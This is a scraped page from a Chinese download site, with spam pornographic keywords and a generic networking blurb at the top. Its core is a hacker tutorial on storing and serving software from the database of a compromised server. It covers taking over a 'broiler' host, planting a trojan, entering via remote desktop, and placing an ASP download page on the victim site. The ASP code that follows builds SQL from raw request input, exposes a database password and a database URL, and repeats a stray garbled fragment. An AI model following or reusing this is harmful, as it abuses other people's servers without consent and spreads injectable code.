日本福利视频一区,黄色免费视频大全,日本中文字幕在线视频观看

導讀網絡技術是從1990年代中期發展起來的新技術，它把互聯網上分散的資源融為有機整體，實現資源的全面共享和有機協作，使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據...

網絡技術是從1990年代中期發展起來的新技術，它把互聯網上分散的資源融為有機整體，實現資源的全面共享和有機協作，使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。當前的互聯網只限于信息共享，網絡則被認為是互聯網發展的第三階段。

把軟件放在數據庫里供下載步驟:
1;捉雞
2:放馬.
3:數據庫里加一個表:ACCESS的用.ASP的數據庫工具直接加;SQL的3389進去用SQL的企業管理器
也可以在自己的機子里先做好一個;然后導入
4;無組件上傳{和傳圖片入庫的方法一樣;網上介紹的方法多的是};導入的這步就省了
5:做個.ASP的下載頁放雞的站里一個.ASP里
6:自己站上放一個框架.....SRC=....?down=1
倆點問題:
一:每個上傳的軟件超過30M下載試時不穩定;下不來的時候多
二:SQL庫里表中ID字段要特別設置自增
做的不好:見笑見笑;第一個測試的雞里還讓不知道哪位大俠把庫里數據刪了倆次:呵呵厲害
看來ASP木馬里不加IP識別碼是不行了
<%@codepage=936%><%Response.Buffer=True
Response.Expires=-1
Response.ExpiresAbsolute=Now()-1
Response.Expires=0
Response.CacheControl = "no-cache"
On Error Resume Next
Co=Request.ServerVariables("URL")
Session("lp")=Session.SessionID
dim conn,dbpath
set conn=server.createobject("ADODB.CONNECTION")
'conn.open "PROVIDER=SQLOLEDB;DATASOURCE=211.151.188.8;UID=sa;PWD=2004;DATABASE=ddwen"
dbpath=server.mappath("ddwen.asp")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&DBPath
'conn.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath%><HTML><HEAD><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><STYLE>BODY {
FONT-SIZE: 9pt; COLOR: blue
}
TABLE {
FONT-SIZE: 9pt; FONT-FAMILY: 宋體
}
A {
FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋體; TEXT-DECORATION: none
}
A:hover {
COLOR: red; FONT-FAMILY: 宋體
}
INPUT {
BORDER-RIGHT: blue 1px solid; BORDER-TOP: blue 1px solid; FONT-SIZE: 9pt; BACKGROUND: #FFF0B2; BORDER-LEFT: blue 1px solid; BORDER-BOTTOM: blue 1px solid; FONT-FAMILY: Verdana,Arial FONT-COLOR:blue
}
</STYLE><TITLE>藍屏軟件</TITLE>
<script language="javascript">
function popwin2(id,path)
{window.open("<%=Co%>?id="+id+"&ppath="+path,"","height=450,width=600,resizable=yes,scrollbars=yes,status=no,toolbar=no,menubar=yes,location=no");}
</script>
</HEAD><%
const MaxPerPage=10
dim totalPut,CurrentPage,TotalPages,i,j,keyword
keyword=Replace(request("txtitle"),"'","")
keyword=Replace(keyword,";","")
if not isempty(request("page")) then
currentPage=cint(request("page"))
else
currentPage=1
end if
dim sql,rs,rstype,typesql,typeid,typename
if not isEmpty(request("typeid")) then
typeid=request("typeid")
else
typeid=1
end if
set rstype=server.createobject("adodb.recordset")
typesql="select * from soft"
rstype.open typesql,conn,1,1
typename=rstype("type")
rstype.close%>
<table cellspacing=1 cellpadding=1 width=755 align=center border=0 bgcolor=#006666>
<tbody>
<tr height=20> <TD colSpan=3 width="300"align=center>==><A title=美人 href="girl.asp">秀 <a/> <A title=刷新 href="<%=Request.ServerVariables("URL")%>"> 本文件:
<%=Request.ServerVariables("URL")%></A></TD>
<td align="center" width="20%" style="COLOR: #ffff00" bgColor=#2b77bd height=10>
<SCRIPT language=JavaScript>
today=new Date();
function initArray(){
this.length=initArray.arguments.length
for(var i=0;i<this.length;i++)
this[i+1]=initArray.arguments }
var d=new initArray(
"星期日",
"星期一",
"星期二",
"星期三",
"星期四",
"星期五",
"星期六");
document.write(
"<font color=ffff00 style='font-size:10pt;font-family: 宋體'> ",
today.getYear(),"年",
today.getMonth()+1,"月",
today.getDate(),"日 ",
d[today.getDay()+1],
"</font>" );
</SCRIPT></td>
</tr>
</tbody>
</table>
<body>
<table border=1 cellpadding=0 cellspacing=0 width=755 bgcolor="#ddee00" align="center">
<tr>
<td width="100%" valign="top">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td width="100%" valign="top">
<%sql="select * from soft where sm like '%"&keyword&"%' order by id desc" '注意漏洞:.;
Set rs= Server.CreateObject("ADODB.Recordset")
rs.open sql,conn,1,1
if rs.eof and rs.bof then
response.write "<p align='center'>沒有或沒有找到任何程序</p>"
else
totalPut=rs.recordcount
totalPut=rs.recordcount
if currentpage<1 then
currentpage=1
end if
if (currentpage-1)*MaxPerPage>totalput then
if (totalPut mod MaxPerPage)=0 then
currentpage= totalPut \ MaxPerPage
else
currentpage= totalPut \ MaxPerPage + 1
end if
end if
if currentPage=1 then
showpage totalput,MaxPerPage,""&Co&""
showContent
showpage totalput,MaxPerPage,""&Co&""
else
if (currentPage-1)*MaxPerPage<totalPut then
rs.move (currentPage-1)*MaxPerPage
dim bookmark
bookmark=rs.bookmark
showpage totalput,MaxPerPage,""&Co&""
showContent
showpage totalput,MaxPerPage,""&Co&""
else
currentPage=1
showpage totalput,MaxPerPage,""&Co&""
showContent
showpage totalput,MaxPerPage,""&Co&""
end if
end if
rs.close
end if
set rs=nothing
sub showContent
dim i
i=0%>
<div align="center">
<center>
<table border="1" cellspacing="0" width="97%" cellpadding="0">
<tr bgcolor="#50aac5">
<td width="32" align="center" height="20"><b>ID</b></td>
<td width="110" align="center"><b>軟件名{點擊下載}</td>
<td width="40" align="center"><b>大小</b></td>
<td width="191" align="center"><b>軟件簡介</b></td>
<td width="128" align="center"><b>加入日期</b></td>
<td width="34" align="center"><b>點擊</b></td>
</tr>
<%do while not rs.eof%>
<tr>
<td height="23" width="32" bgcolor="#FFF0B2">
<p align="center"><%=rs("id")%>
</td>
<td width="110" bgcolor="#FFF0B2">
<p align="center"><form><input name=id type=hidden value=<%=rs("id")%>><input name=dn type=submit value=<%=left(rs("name"),40)%> title=點擊下載></td></form>
<td width="40" bgcolor="#FFF0B2">
<p align="center"><a href=# "javascript:popwin2(<%=rs("id")%>)" title=<%=rs("sm")%>><font color="#000000"><%=rs("size")%></font></a>
</td>
<td width="191" bgcolor="#FFF0B2">
<p align="center"><a href=# "javascript:popwin2(<%=rs("id")%>)" title=<%=rs("sm")%>><font color="#000000"><%=left(rs("sm"),30)%></font></a>
</td>
<td width="128" bgcolor="#FFF0B2">
<p align="center"><font color="red"><i><%=rs("date")%></i></font>
</td>
<td width="34" bgcolor="#FFF0B2">
<p align="center"><%=rs("hits")%>
</td>
</tr>
<%i=i+1
if i>=MaxPerPage then exit do
rs.movenext
loop%></table>
</center>
</div><%end sub
function showpage(totalnumber,maxperpage,filename)
dim n
if totalnumber mod maxperpage=0 then
n= totalnumber \ maxperpage
else
n= totalnumber \ maxperpage+1
end if
response.write "<form method=Post action="&filename&"?typeid="&typeid&"&txtitle="&keyword&">"
response.write "<p align='center'><font color='red'>"&typename&"</font> "
if CurrentPage<2 then
response.write "<font color='#000080'>首頁上一頁</font> "
else
response.write "<a href="&filename&"?page=1&typeid="&typeid&"&txtitle="&keyword&">首頁</a> "
response.write "<a href="&filename&"?page="&CurrentPage-1&"&typeid="&typeid&"&txtitle="&keyword&">上一頁</a> "
end if
if n-currentpage<1 then
response.write "<font color='#000080'>下一頁尾頁</font>"
else
response.write "<a href="&filename&"?page="&(CurrentPage+1)&"&typeid="&typeid&"&txtitle="&keyword&">"
response.write "下一頁</a> <a href="&filename&"?page="&n&"&typeid="&typeid&"&txtitle="&keyword&">尾頁</a>"
end if
response.write "<font color='#000080'> 頁次：</font><strong><font color=red>"&CurrentPage&"</font><font color='#000080'>/"&n&"</strong>頁</font> "
response.write "<font color='#000080'> 共<b>"&totalnumber&"</b>軟件 <b>"&maxperpage&"</b>軟件/頁</font> "
response.write " <font color='#000080'>轉到：</font><input type='text' name='page' size=4 maxlength=10 class=smallInput type='text' name='txtitle' value="¤tpage&">"

response.write " <input class=buttonface type='submit' value=' Goto ' name='cndok'></span></p></form>"
end function%>
<form name=searchtitle method=POST action=<%=Co%>>
<p align=center>簡介:
<input class=smallInput type="text" name="txtitle" size="13">
<input class=buttonface type="submit" value="查詢" name="title" style="font-size: 9pt">
</p>
</form>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body></html><center><!SCRIPT src="http://192.168.1.9/jishu/new.asp?view=yes"></SCRIPT><%down=Request("dn")
if down<>"" then
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from soft where id ="& Request("id")
rs.open sql,conn,1,3
rs("hits")=rs("hits")+1
rs.update
Response.Clear
Response.AddHeader"Content-Disposition","attachment;filename="&rs("name")
Response.AddHeader"Content-Length",rs("size")
Response.CharSet="UTF-8"
Response.ContentType="application/octet-stream"
Response.BinaryWrite rs("lp")
Response.Flush
Response.end
rs.close
set rs=nothing
end if
set conn=nothing%>
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from soft where id ="& Request("id")
rs.open sql,conn,1,3
rs("hits")=rs("hits")+1
rs.update
Response.Clear
Response.AddHeader"Content-Disposition","attachment;filename="&rs("name")
Response.AddHeader"Content-Length",rs("size")
Response.CharSet="UTF-8"
Response.ContentType="application/octet-stream"
'Response.ContentType = rs("Type")
'Response.BinaryWrite rs("rj").getChunk(7500000) ''=========這是直接看圖的方法
Response.BinaryWrite rs("lp")
Response.Flush
Response.end
rs.close
set rs=nothing
http://210.51.181.21/db/ddwen.mdb

網絡的神奇作用吸引著越來越多的用戶加入其中，正因如此，網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......，各項技術都需要適時應勢，對應發展，這正是網絡迅速走向進步的催化劑。

溫馨提示：喜歡本站的話，請收藏一下本站！

當前位置:雨林木風下載站 > 安全殺毒教程 > 詳細頁面

把軟件放在數據庫里供下載

本類教程下載

系統下載排行